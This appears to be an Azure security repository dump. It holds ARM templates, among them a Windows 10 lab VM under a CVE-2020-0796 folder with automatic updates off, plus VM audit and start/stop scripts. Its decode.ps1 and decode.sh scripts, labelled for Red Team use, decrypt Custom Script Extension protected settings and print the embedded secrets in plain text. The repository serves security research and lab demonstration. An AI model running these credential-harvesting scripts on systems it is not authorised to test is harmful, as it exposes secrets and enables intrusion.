| }, 24 | "windowsOsVersion": { 25 | "type": "string", 26 | "defaultValue": "19h1-pro", 27 | "allowedValues": [ 28 | "19h1-pro", 29 | "19h2-pro" 30 | ], 31 | "metadata": { 32 | "description": "Windows OS version of the virtual machine" 33 | } 34 | }, 35 | "imageBuildNumber": { 36 | "type": "string", 37 | "allowedValues": [ 38 | "w10-1903", 39 | "w10-1909" 40 | ], 41 | "metadata": { 42 | "description": "Image version of the virtual machine" 43 | } 44 | }, 45 | "imageVersion": { 46 | "type": "string", 47 | "allowedValues": [ 48 | "18362.720.2003120536", 49 | "18363.720.2003120536" 50 | ], 51 | "metadata": { 52 | "description": "Image version of the virtual machine. 18362 is for Win 10 1903 and 18363 is for Wind10 1909" 53 | } 54 | }, 55 | "vmSize": { 56 | "type": "string", 57 | "defaultValue": "Standard_A4_v2", 58 | "metadata": { 59 | "description": "Size of the virtual machine" 60 | } 61 | }, 62 | "subnetId": { 63 | "type": "string", 64 | "defaultValue": "", 65 | "metadata": { 66 | "description": "Subnet where the virtual machine belongs to" 67 | } 68 | }, 69 | "logAnalyticsWorkspaceName": { 70 | "type": "string", 71 | "metadata": { 72 | "description": "Log Analytics workspace the virtual machine belongs to" 73 | } 74 | }, 75 | "logAnalyticsWorkspaceRgName": { 76 | "type": "string", 77 | "metadata": { 78 | "description": "Log Analytics workspace's resource group name the virtual machine belongs to" 79 | } 80 | } 81 | }, 82 | "variables": { 83 | "vmName": "[concat(parameters('imageBuildNumber'),'-vm')]", 84 | "nicName": "[concat(variables('vmName'), '-nic')]", 85 | "logAnalyticsWorkspaceId": "[concat(resourceId(parameters('logAnalyticsWorkspaceRgName'), 'Microsoft.OperationalInsights/workspaces/', parameters('logAnalyticsWorkspaceName')))]" 86 | }, 87 | "resources": [ 88 | { 89 | "type": "Microsoft.Network/networkInterfaces", 90 | "apiVersion": "2019-09-01", 91 | "name": "[variables('nicName')]", 92 | "location": "[parameters('location')]", 93 | "properties": { 94 | "ipConfigurations": [ 95 | { 96 | "name": "ipconfig1", 97 | "properties": { 98 | "privateIPAllocationMethod": "Dynamic", 99 | "subnet": { 100 | "id": "[parameters('subnetId')]" 101 | } 102 | } 103 | } 104 | ] 105 | } 106 | }, 107 | { 108 | "type": "Microsoft.Compute/virtualMachines", 109 | "apiVersion": "2019-03-01", 110 | "name": "[variables('vmName')]", 111 | "location": "[parameters('location')]", 112 | "dependsOn": [ 113 | "[resourceId('Microsoft.Network/networkInterfaces/', variables('nicName'))]" 114 | ], 115 | "properties": { 116 | "hardwareProfile": { 117 | "vmSize": "[parameters('vmSize')]" 118 | }, 119 | "osProfile": { 120 | "computerName": "[variables('vmName')]", 121 | "adminUsername": "[parameters('adminUsername')]", 122 | "adminPassword": "[parameters('adminPassword')]", 123 | "windowsConfiguration": { 124 | "enableAutomaticUpdates":false 125 | } 126 | }, 127 | "storageProfile": { 128 | "imageReference": { 129 | "publisher": "MicrosoftWindowsDesktop", 130 | "offer": "Windows-10", 131 | "sku": "[parameters('windowsOsVersion')]", 132 | "version": "[parameters('imageVersion')]" 133 | }, 134 | "osDisk": { 135 | "createOption": "FromImage" 136 | }, 137 | "dataDisks": [ 138 | 139 | ] 140 | }, 141 | "networkProfile": { 142 | "networkInterfaces": [ 143 | { 144 | "id": "[resourceId('Microsoft.Network/networkInterfaces/', variables('nicName'))]" 145 | } 146 | ] 147 | } 148 | } 149 | }, 150 | { 151 | "type": "Microsoft.Compute/virtualMachines/extensions", 152 | "apiVersion": "2019-03-01", 153 | "name": "[concat(variables('vmName'),'/LogAnalytics')]", 154 | "location": "[resourceGroup().location]", 155 | "dependsOn": [ 156 | "[resourceId('Microsoft.Compute/virtualMachines/', variables('vmName'))]" 157 | ], 158 | "properties": { 159 | "publisher": "Microsoft.EnterpriseCloud.Monitoring", 160 | "type": "MicrosoftMonitoringAgent", 161 | "typeHandlerVersion": "1.0", 162 | "autoUpgradeMinorVersion": true, 163 | "settings": { 164 | "workspaceId": "[reference(variables('logAnalyticsWorkspaceId'), '2015-11-01-preview').customerId]" 165 | }, 166 | "protectedSettings": { 167 | "workspaceKey": "[listKeys(variables('logAnalyticsWorkspaceId'), '2015-11-01-preview').primarySharedKey]" 168 | } 169 | } 170 | } 171 | ], 172 | "outputs": { 173 | } 174 | } -------------------------------------------------------------------------------- /VirtualMachine/CVE-2020-0796/windows10-template/azuredeploy.parameters.json: -------------------------------------------------------------------------------- 1 | { 2 | "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentParameters.json#", 3 | "contentVersion": "1.0.0.0", 4 | "parameters": { 5 | "adminUsername": { 6 | "value": "YOUR_ADMIN_USERNAME" 7 | }, 8 | "adminPassword": { 9 | "value": "YOUR_ADMIN_PASSWORD" 10 | }, 11 | "imageBuildNumber": { 12 | "value": "w10-1903" 13 | }, 14 | "imageVersion": { 15 | "value": "18362.720.2003120536" 16 | }, 17 | "logAnalyticsWorkspaceName": { 18 | "value": "YOUR_WORKSPACE_NAME" 19 | }, 20 | "logAnalyticsWorkspaceRgName": { 21 | "value": "YOUR_WORKSPACE_RG_NAME" 22 | }, 23 | "subnetId": { 24 | "value": "YOUR_SUBNET" 25 | } 26 | } 27 | } -------------------------------------------------------------------------------- /VirtualMachine/CustomScript/README.md: -------------------------------------------------------------------------------- 1 | # Sample template and resources for testing Custom Script Extension. 2 | - [ARM Template](template) 3 | - [Sample script to test CSE](template/scripts) 4 | - [Decode script on Windows](decode.ps1) 5 | - [Decode script on Linux](decode.sh) 6 | 7 | Further details read here https://azsec.azurewebsites.net/2021/11/09/harvest-credential-from-custom-script-extension-on-azure-vm/ -------------------------------------------------------------------------------- /VirtualMachine/CustomScript/decode.ps1: -------------------------------------------------------------------------------- 1 | # This script is used to decode encoded cipher used by Azure VM Agent. 2 | # It works with most Azure VM agent today 3 | # Reference: https://azsec.azurewebsites.net/2021/11/09/harvest-credential-from-custom-script-extension-on-azure-vm/ 4 | Add-Type -AssemblyName "System.Security" 5 | $path = "C:\Packages\Plugins\Microsoft.Compute.CustomScriptExtension\1.10.12\RuntimeSettings\0.settings" 6 | $runSettingFiles = Get-ChildItem -Path $path -Recurse -Filter "*.settings" 7 | foreach ($runSettingFile in $runSettingFiles) { 8 | $content = Get-Content -Path $runSettingFile.FullName | ConvertFrom-Json 9 | $certLocation = Set-Location -Path Cert:\LocalMachine\My 10 | $certs = Get-ChildItem -Path $certLocation | Where-Object {$_.Thumbprint -eq ($($content.runtimeSettings.handlerSettings.protectedSettingsCertThumbprint))} 11 | foreach ($cert in $certs) { 12 | Write-Host $cert.Thumbprint 13 | Write-Host -ForegroundColor Green "Found: " $cert.Subject "that has thumbprint: " $cert.thumbprint: 14 | $cipher = $content.runtimeSettings.handlerSettings.protectedSettings 15 | $encryptedBytes = [Convert]::FromBase64String($cipher) 16 | $env = New-Object Security.Cryptography.Pkcs.EnvelopedCms 17 | $env.Decode($encryptedBytes) 18 | $env.Decrypt() 19 | $clearText = [System.Text.Encoding]::UTF8.GetString($env.ContentInfo.Content) 20 | $clearText | Convertfrom-Json | Select-Object commandToExecute 21 | } 22 | } 23 | -------------------------------------------------------------------------------- /VirtualMachine/CustomScript/decode.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # This script is used to support Red Team to perform a scan on Azure Virtual machine to harvest credential. 3 | # Custom Script extension is often used on Linux VM for AD Join or security agent installation that may have secrets. 4 | # Using this script you are able to decode encoded CommandToExcute object to extract plain-text secret. 5 | # This script can be used to decode most Azure VM extensions except VM Access Extension. 6 | # Reference: https://azsec.azurewebsites.net/2021/11/09/harvest-credential-from-custom-script-extension-on-azure-vm/ 7 | agent_path='/var/lib/waagent' 8 | 9 | f=$(find $agent_path -type d -name "*.CustomScript*") 10 | if [ -z "$f" ];then 11 | echo "[!] Can't find target agent directory" 12 | exit 1 13 | else 14 | echo "[-] Find the target dir: $f" 15 | cd "$f" || exit 16 | for setting_files in $(find "$f" -type f -name "*.settings"); do 17 | for setting_file in $setting_files; do 18 | if [ -z "$setting_file" ]; then 19 | echo "[!] Can't find setting file" 20 | exit 1 21 | else 22 | echo "[-] Find a setting file: $setting_file" 23 | cert_thumbprint=$(jq -r '.runtimeSettings[].handlerSettings.protectedSettingsCertThumbprint' "$setting_file") 24 | echo "[-] Start decoding" 25 | jq -r '.runtimeSettings[].handlerSettings.protectedSettings' "$setting_file" | base64 --decode | openssl smime -inform DER -decrypt -recip ../"${cert_thumbprint}".crt -inkey ../"${cert_thumbprint}".prv | jq . 26 | fi 27 | done 28 | done 29 | fi -------------------------------------------------------------------------------- /VirtualMachine/CustomScript/template/README.md: -------------------------------------------------------------------------------- 1 | # Supporting template to test Custom Script Extension 2 | Use supporting ARM template to deploy an Azure virtual machine with Custom Script Extension and use [decode.sh]() to find what was executed. 3 | 4 | The ARM template is used to demostrate executing a custom script to install a software that needs a secret referenced from Key Vault. -------------------------------------------------------------------------------- /VirtualMachine/CustomScript/template/azuredeploy.json: -------------------------------------------------------------------------------- 1 | { 2 | "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#", 3 | "contentVersion": "1.0.0.0", 4 | "parameters": { 5 | "vmName": { 6 | "type": "string", 7 | "metadata": { 8 | "description": "Name of the virtual machine" 9 | } 10 | }, 11 | "location": { 12 | "type": "string", 13 | "defaultValue": "[resourceGroup().location]", 14 | "metadata": { 15 | "description": "Location of the virtual machine" 16 | } 17 | }, 18 | "adminUsername": { 19 | "type": "string", 20 | "metadata": { 21 | "description": "Administrator username of the virtual machine" 22 | } 23 | }, 24 | "adminPassword": { 25 | "type": "securestring", 26 | "metadata": { 27 | "description": "Administrator password of the virtual machine" 28 | } 29 | }, 30 | "osPlatform": { 31 | "type": "string", 32 | "allowedValues": ["Windows", "RedHat"], 33 | "metadata": { 34 | "description": "The OS type of the virtual machine" 35 | } 36 | }, 37 | "windowsOsSku": { 38 | "type": "string", 39 | "allowedValues": ["2016-datacenter-gensecond", "2019-Datacenter"], 40 | "metadata": { 41 | "description": "The SKU of Windows OS" 42 | } 43 | }, 44 | "rhelOsSku": { 45 | "type": "string", 46 | "defaultValue": "7.8", 47 | "metadata": { 48 | "description": "The CentOs version for the VM. This will pick a fully patched image of this given CentOs version." 49 | } 50 | }, 51 | "vmSize": { 52 | "type": "string", 53 | "defaultValue": "Standard_A4_v2", 54 | "metadata": { 55 | "description": "Size of the virtual machine." 56 | } 57 | }, 58 | "subnetId": { 59 | "type": "string", 60 | "metadata": { 61 | "description": "Subnet where the virtual machine belongs to" 62 | } 63 | }, 64 | "secretKey": { 65 | "type": "securestring", 66 | "metadata": { 67 | "description": "This is a secret that is passed to the script" 68 | } 69 | }, 70 | "licenseKey": { 71 | "type": "securestring", 72 | "metadata": { 73 | "description": "This is a secret that is passed to the script" 74 | } 75 | }, 76 | "scriptStorageAccountName": { 77 | "type": "string", 78 | "metadata": { 79 | "description": "The storage account where script is stored." 80 | } 81 | }, 82 | "scriptStorageAccountContainerName": { 83 | "type": "string", 84 | "metadata": { 85 | "description": "The storage account container where script is stored." 86 | } 87 | }, 88 | "userManagedIdentityResourceId": { 89 | "type": "string", 90 | "metadata": { 91 | "description": "The user-assigned managed identity for the VM to download script from a given storage account. It must have Storage Blob Data Reader in the storage account where script is located." 92 | } 93 | }, 94 | "monitoringWorkspaceResourceId": { 95 | "type": "string", 96 | "metadata": { 97 | "description": "The resource ID of the the Log Analytics Workspace to where virtual machine log will be sent to. " 98 | } 99 | } 100 | }, 101 | "variables": { 102 | "vmName": "[tolower(concat(parameters('vmName'),'-',parameters('osPlatform'),'-vm'))]", 103 | "nicName": "[concat(variables('vmName'), '-nic')]", 104 | "bootstrapScriptName": "[if(equals(parameters('osPlatform'),'Windows'),'script.ps1','script.sh')]", 105 | "bootstrapScriptUrl": "[concat('https://',parameters('scriptStorageAccountName'),'.blob.core.windows.net/',parameters('scriptStorageAccountContainerName'),'/',variables('bootstrapScriptName'))]", 106 | "windowsImageReference": { 107 | "publisher": "MicrosoftWindowsServer", 108 | "offer": "WindowsServer", 109 | "sku": "[parameters('windowsOsSku')]", 110 | "version": "latest" 111 | }, 112 | "linuxImageReference": { 113 | "publisher": "RedHat", 114 | "offer": "RHEL", 115 | "sku": "[parameters('rhelOsSku')]", 116 | "version": "latest" 117 | }, 118 | "windowsImageConfiguration": "[if(equals(parameters('osPlatform'),'Windows'),variables('windowsImageReference'),json('null'))]", 119 | "linuxImageConfiguration": "[if(equals(parameters('osPlatform'),'RedHat'),variables('linuxImageReference'),json('null'))]", 120 | "windowsOsProfile": { 121 | "computerName": "[parameters('vmName')]", 122 | "adminUsername": "[parameters('adminUserName')]", 123 | "adminPassword": "[parameters('adminPassword')]" 124 | }, 125 | "linuxOsProfile": { 126 | "computerName": "[parameters('vmName')]", 127 | "adminUsername": "[parameters('adminUsername')]", 128 | "adminPassword": "[parameters('adminPassword')]" 129 | } 130 | }, 131 | "resources": [ 132 | { 133 | "type": "Microsoft.Network/networkInterfaces", 134 | "apiVersion": "2018-11-01", 135 | "name": "[variables('nicName')]", 136 | "location": "[parameters('location')]", 137 | "properties": { 138 | "ipConfigurations": [ 139 | { 140 | "name": "ipconfig1", 141 | "properties": { 142 | "privateIPAllocationMethod": "Dynamic", 143 | "subnet": { 144 | "id": "[parameters('subnetId')]" 145 | } 146 | } 147 | } 148 | ] 149 | } 150 | }, 151 | { 152 | "type": "Microsoft.Compute/virtualMachines", 153 | "apiVersion": "2018-10-01", 154 | "name": "[variables('vmName')]", 155 | "location": "[parameters('location')]", 156 | "identity": { 157 | "type": "UserAssigned", 158 | "userAssignedIdentities": { 159 | "[parameters('userManagedIdentityResourceId')]": {} 160 | } 161 | }, 162 | "dependsOn": [ 163 | "[resourceId('Microsoft.Network/networkInterfaces/', variables('nicName'))]" 164 | ], 165 | "properties": { 166 | "hardwareProfile": { 167 | "vmSize": "[parameters('vmSize')]" 168 | }, 169 | "osProfile": "[if(equals(parameters('osPlatform'),'Windows'),variables('windowsOsProfile'),variables('linuxOsProfile'))]", 170 | "storageProfile": { 171 | "imageReference": "[if(equals(parameters('osPlatform'),'Windows'),variables('windowsImageConfiguration'), variables('linuxImageConfiguration'))]", 172 | "osDisk": { 173 | "createOption": "FromImage" 174 | }, 175 | "dataDisks": [ 176 | { 177 | "diskSizeGB": 1023, 178 | "lun": 0, 179 | "createOption": "Empty" 180 | } 181 | ] 182 | }, 183 | "networkProfile": { 184 | "networkInterfaces": [ 185 | { 186 | "id": "[resourceId('Microsoft.Network/networkInterfaces',variables('nicName'))]" 187 | } 188 | ] 189 | } 190 | } 191 | }, 192 | { 193 | "comments": "Deploy a Log Analytics agent on a Windows VM to send log to CES Log Analytics Workspace", 194 | "condition": "[equals(parameters('osPlatform'), 'Windows')]", 195 | "type": "Microsoft.Compute/virtualMachines/extensions", 196 | "apiVersion": "2019-12-01", 197 | "location": "[parameters('location')]", 198 | "dependsOn": [ 199 | "[resourceId('Microsoft.Compute/virtualMachines', variables('vmName'))]" 200 | ], 201 | "name": "[concat(variables('vmName'),'/Microsoft.EnterpriseCloud.Monitoring.MicrosoftMonitoringAgent')]", 202 | "properties": { 203 | "publisher": "Microsoft.EnterpriseCloud.Monitoring", 204 | "type": "MicrosoftMonitoringAgent", 205 | "typeHandlerVersion": "1.0", 206 | "autoUpgradeMinorVersion": true, 207 | "settings": { 208 | "workspaceId": "[reference(parameters('monitoringWorkspaceResourceId'),'2020-03-01-preview').customerId]" 209 | }, 210 | "protectedSettings": { 211 | "workspaceKey": "[listKeys(parameters('monitoringWorkspaceResourceId'),'2020-03-01-preview').primarySharedKey]" 212 | } 213 | } 214 | }, 215 | { 216 | "comments": "Deploy a Log Analytics agent on a Linux VM to send log to CES Log Analytics Workspace", 217 | "condition": "[equals(parameters('osPlatform'), 'RedHat')]", 218 | "type": "Microsoft.Compute/virtualMachines/extensions", 219 | "apiVersion": "2019-12-01", 220 | "location": "[parameters('location')]", 221 | "dependsOn": [ 222 | "[resourceId('Microsoft.Compute/virtualMachines', variables('vmName'))]" 223 | ], 224 | "name": "[concat(variables('vmName'),'/Microsoft.EnterpriseCloud.Monitoring.OmsAgentForLinux')]", 225 | "properties": { 226 | "publisher": "Microsoft.EnterpriseCloud.Monitoring", 227 | "type": "OmsAgentForLinux", 228 | "typeHandlerVersion": "1.13", 229 | "autoUpgradeMinorVersion": false, 230 | "settings": { 231 | "workspaceId": "[reference(parameters('monitoringWorkspaceResourceId'),'2020-03-01-preview').customerId]", 232 | "stopOnMultipleConnections": true 233 | }, 234 | "protectedSettings": { 235 | "workspaceKey": "[listKeys(parameters('monitoringWorkspaceResourceId'),'2020-03-01-preview').primarySharedKey]" 236 | } 237 | } 238 | }, 239 | { 240 | "comments": "Execute bootstrap script with Custom Script Extension", 241 | "condition": "[equals(parameters('osPlatform'), 'Windows')]", 242 | "type": "Microsoft.Compute/virtualMachines/extensions", 243 | "apiVersion": "2021-03-01", 244 | "location": "[parameters('location')]", 245 | "name": "[concat(variables('vmName'),'/CSEWindows')]", 246 | "dependsOn": [ 247 | "[resourceId('Microsoft.Compute/virtualMachines', variables('vmName'))]", 248 | "[resourceId('Microsoft.Compute/virtualMachines/extensions', variables('vmName'), 'Microsoft.EnterpriseCloud.Monitoring.MicrosoftMonitoringAgent')]" 249 | ], 250 | "properties": { 251 | "publisher": "Microsoft.Compute", 252 | "type": "CustomScriptExtension", 253 | "typeHandlerVersion": "1.10", 254 | "autoUpgradeMinorVersion": true, 255 | "protectedSettings": { 256 | "fileUris": ["[variables('bootstrapScriptUrl')]"], 257 | "managedIdentity": { 258 | "objectId": "[reference(parameters('userManagedIdentityResourceId'),'2015-08-31-PREVIEW').principalId]" 259 | }, 260 | "commandToExecute": "[concat('powershell -ExecutionPolicy Unrestricted -File script.ps1 ', '-License ', '\"', parameters('licenseKey'), '\"', '', '-secret ', parameters('secretKey'), '\"')]" 261 | } 262 | } 263 | }, 264 | { 265 | "type": "Microsoft.Compute/virtualMachines/extensions", 266 | "condition": "[equals(parameters('osPlatform'),'RedHat')]", 267 | "apiVersion": "2021-03-01", 268 | "location": "[parameters('location')]", 269 | "name": "[concat(variables('vmName'),'/CSELinux')]", 270 | "dependsOn": [ 271 | "[resourceId('Microsoft.Compute/virtualMachines', variables('vmName'))]" 272 | ], 273 | "properties": { 274 | "publisher": "Microsoft.Azure.Extensions", 275 | "type": "CustomScript", 276 | "typeHandlerVersion": "2.1", 277 | "autoUpgradeMinorVersion": true, 278 | "protectedSettings": { 279 | "fileUris": ["[variables('bootstrapScriptUrl')]"], 280 | "managedIdentity": { 281 | "objectId": "[reference(parameters('userManagedIdentityResourceId'),'2015-08-31-PREVIEW').principalId]" 282 | }, 283 | "commandToExecute": "[concat('sh script.sh -l ', parameters('licenseKey'), ' -s ', '\"', parameters('secretKey'), '\"')]" 284 | } 285 | } 286 | } 287 | ], 288 | "outputs": { 289 | "resourceId": { 290 | "type": "string", 291 | "value": "[resourceId('Microsoft.Compute/virtualMachines',variables('vmName'))]" 292 | } 293 | } 294 | } -------------------------------------------------------------------------------- /VirtualMachine/CustomScript/template/azuredeploy.parameters.json: -------------------------------------------------------------------------------- 1 | { 2 | "$schema": "https://schema.management.azure.com/schemas/2015-01-01/deploymentParameters.json#", 3 | "contentVersion": "1.0.0.0", 4 | "parameters": { 5 | "vmName": { 6 | "value": "azsec" 7 | }, 8 | "adminUsername": { 9 | "value": "YOUR_USERNAME" 10 | }, 11 | "adminPassword": { 12 | "value": "YOUR_PASSWORD" 13 | }, 14 | "osPlatform": { 15 | "value": "Windows" 16 | }, 17 | "rhelOsSku": { 18 | "value": "7.8" 19 | }, 20 | "windowsOsSku": { 21 | "value": "2019-Datacenter" 22 | }, 23 | "subnetId": { 24 | "value": "YOUR_SUBNETID" 25 | }, 26 | "secretKey": { 27 | "reference": { 28 | "keyVault": { 29 | "id": "YOUR_KEYVAULT_RESOURCE_ID" 30 | }, 31 | "secretName": "secret01" 32 | } 33 | }, 34 | "licenseKey": { 35 | "reference": { 36 | "keyVault": { 37 | "id": "YOUR_KEYVAULT_RESOURCE_ID" 38 | }, 39 | "secretName": "licenseKey" 40 | } 41 | }, 42 | "scriptStorageAccountContainerName": { 43 | "value": "script" 44 | }, 45 | "scriptStorageAccountName": { 46 | "value": "azsecstoragedata" 47 | }, 48 | "userManagedIdentityResourceId": { 49 | "value": "YOUR_USER_MANAGED_ID_RESOURCE_ID" 50 | }, 51 | "monitoringWorkspaceResourceId": { 52 | "value": "YOUR_LOG_WORKSPACE_RESOURCE_ID" 53 | } 54 | } 55 | } 56 | -------------------------------------------------------------------------------- /VirtualMachine/CustomScript/template/scripts/script.ps1: -------------------------------------------------------------------------------- 1 | Param 2 | ( 3 | [String]$License, 4 | [String]$Secret 5 | ) 6 | 7 | # Do something with License and Secret 8 | Write-Host "Nothing to do with $License and $Secret" -------------------------------------------------------------------------------- /VirtualMachine/CustomScript/template/scripts/script.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | while getopts l:s: flag 4 | do 5 | case "${flag}" in 6 | l) license_key=${OPTARG};; 7 | s) secret=${OPTARG};; 8 | *) echo "usage: $0 [-l] [-s]" >&2 9 | exit 1 ;; 10 | esac 11 | done 12 | 13 | # Do something with end_point and secret 14 | echo "Endpoint is: ${license_key} and secret is: ${secret}" -------------------------------------------------------------------------------- /VirtualMachine/Get-AzureVmInfo.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .SYNOPSIS 3 | This script is used to extract Azure VM information that support security and compliance audit. 4 | .DESCRIPTION 5 | This script supports cross-subscription audit. Your accunt should have enough privilege (Read access) to retrieve Microsoft.Compute resource provider. 6 | .NOTES 7 | This script is written with Azure PowerShell Az module. The script only works with Virtual Machine. Virtual Machine Scale Set support will be added to this script soon. 8 | 9 | File Name : Get-AzureVmInfo.ps1 10 | Version : 1.0.0.0 11 | Author : AzSec (https://azsec.azurewebsites.net/) 12 | Prerequisite : AzureRm 13 | 14 | [Updated 11/09/2021] To get resource information you can use Resource Graph Explore. Refer to this article https://azsec.azurewebsites.net/2019/12/25/query-your-virtual-machine-with-azure-resource-graph/ 15 | 16 | .EXAMPLE 17 | Get-AzureVmInfo.ps1 -FileName AzureVmAudit -Path C:\Audit 18 | #> 19 | 20 | Param( 21 | [Parameter(Mandatory = $true, 22 | HelpMessage = "File name of the audit report", 23 | Position = 0)] 24 | [ValidateNotNullOrEmpty()] 25 | [string] 26 | $FileName, 27 | 28 | [Parameter(Mandatory = $true, 29 | HelpMessage = "Location where the audit report is stored", 30 | Position = 1)] 31 | [ValidateNotNullOrEmpty()] 32 | [string] 33 | $Path 34 | ) 35 | 36 | $subscriptions = Get-AzSubscription 37 | $date = Get-Date -UFormat "%Y_%m_%d_%H%M%S" 38 | 39 | class VmCsv { 40 | [Object]${SubscriptionId} 41 | [Object]${SubscriptionName} 42 | [Object]${VmName} 43 | [Object]${ResourceGroupName} 44 | [Object]${Location} 45 | [Object]${PrivateIp} 46 | [Object]${HostName} 47 | [Object]${Os} 48 | [Object]${OsDetail} 49 | } 50 | 51 | $vmCsvReport = @() 52 | 53 | foreach ($subscription in $subscriptions) { 54 | Set-AzContext -SubscriptionId $subscription.id 55 | Write-Host -ForegroundColor Green "[!] Start checking subscription:" $subscription.Name 56 | $vms = Get-AzVm 57 | $nics = Get-AzNetworkInterface | Where-Object {$null -ne $_.VirtualMachine} 58 | foreach ($nic in $nics) { 59 | $vmObj = [vmCsv]::new() 60 | $vm = $vms | Where-Object { $_.id -eq $nic.VirtualMachine.id } 61 | $vmObj.SubscriptionId = $subscription.Id 62 | $vmObj.SubscriptionName = $subscription.Name 63 | $vmObj.VmName = $vm.Name 64 | Write-Host -ForegroundColor Yellow "`t Found a Virtual Machine named:" $vm.Name 65 | $vmObj.ResourceGroupName = $vm.ResourceGroupName 66 | $vmObj.Location = $vm.Location 67 | $vmObj.PrivateIp = $nic.IpConfigurations.PrivateIpAddress 68 | $vmObj.HostName = $vm.OSProfile.ComputerName 69 | 70 | if($($vm.OSProfile.LinuxConfiguration)) { 71 | $vmObj.Os = "Linux" 72 | } 73 | elseif ($($vm.OSProfile.WindowsConfiguration)) { 74 | $vmObj.Os = "Windows" 75 | } 76 | $vmObj.OsDetail = $vm.StorageProfile.ImageReference.Offer + $vm.StorageProfile.ImageReference.Sku 77 | 78 | $vmCsvReport += $vmObj 79 | } 80 | } 81 | 82 | $vmCsvReport | Export-Csv -Path "$Path\$($FileName)_$($date).csv" -NoTypeInformation -Encoding UTF8 83 | -------------------------------------------------------------------------------- /VirtualMachine/get_sami.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # Use this script to quickly audit if a VM has System-assigned Managed Identity (SAMI) enabled 3 | # You can actually get identity info from Resource Graph Explorer query unless you would like to practice Bash shell coding 4 | # Usage: sh get_sami.sh xxxx-xxxxx-xxxxx-xxxx 5 | 6 | subscription_id="$1" 7 | 8 | # Set context for the target subscription 9 | 10 | if ! az account set -s "${subscription_id}"; then 11 | echo "[!] Failed to set subscription context" 12 | exit 13 | else 14 | echo "[+] Succesfully set context for subscription Id ${subscription_id}" 15 | fi 16 | 17 | # Get VMs in the given subscription 18 | vm_ids=$(az vm list --query '[]'.id -o tsv) 19 | for vm_id in ${vm_ids}; do 20 | echo "[+] Start checking vm id: ${vm_id}" 21 | identity=$(az vm identity show --ids "${vm_id}" --query "type" -o tsv) 22 | if [ -z "${identity}" ]; then 23 | echo -e " \e[32m[+] No SAMI found in: ${vm_id}\e[0m" 24 | elif [[ "${identity}" == *"SystemAssigned"* ]]; then 25 | echo -e " \e[31m[+] Found SAMI in: ${vm_id}\e[0m" 26 | fi 27 | done -------------------------------------------------------------------------------- /VirtualMachine/stop_start_all_vms.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # This script is written for lazy people who want to stop or start all VMs at once. 3 | # Use this script when you build a large lab but don't want to stop/start each VM. 4 | # Auto shutdown is a helpful built-in feature but you don't know when you need to stop all VMs. 5 | # Usage: sh stop_start_all_vms.sh xxxx-xxxxx-xxxxx-xxxx start 6 | 7 | subscription_id="$1" 8 | action="$2" 9 | 10 | # Set context for the target subscription 11 | 12 | if ! az account set -s "${subscription_id}"; then 13 | echo "[!] Failed to set subscription context" 14 | exit 15 | else 16 | echo "[+] Succesfully set context for subscription Id ${subscription_id}" 17 | fi 18 | 19 | # Get VMs in the given subscription 20 | vm_ids=$(az vm list --query '[]'.id -o tsv) 21 | for vm_id in ${vm_ids}; do 22 | if [ "${action}" == "start" ]; then 23 | echo "[+] Your action is: ${action}" 24 | stop_vm_ids=$(az vm get-instance-view --ids "${vm_id}" --query "[?instanceView.statuses[1].code!='PowerState/running']".id -o tsv) 25 | for stop_vm_id in "${stop_vm_ids[@]}"; do 26 | echo "[+] Start vm id: ${stop_vm_id}" 27 | az vm start --ids "${stop_vm_id}" --no-wait 28 | done 29 | elif [ "${action}" == "stop" ]; then 30 | running_vm_ids=$(az vm get-instance-view --ids "${vm_id}" --query "[?instanceView.statuses[1].code=='PowerState/running']".id -o tsv) 31 | for running_vm_id in "${running_vm_ids[@]}"; do 32 | echo "[+] Stop vm id: ${running_vm_id}" 33 | az vm stop --ids "${running_vm_id}" --no-wait 34 | done 35 | else 36 | echo "[!] Action accepts Stop or Start value. Please try again!" 37 | fi 38 | done --------------------------------------------------------------------------------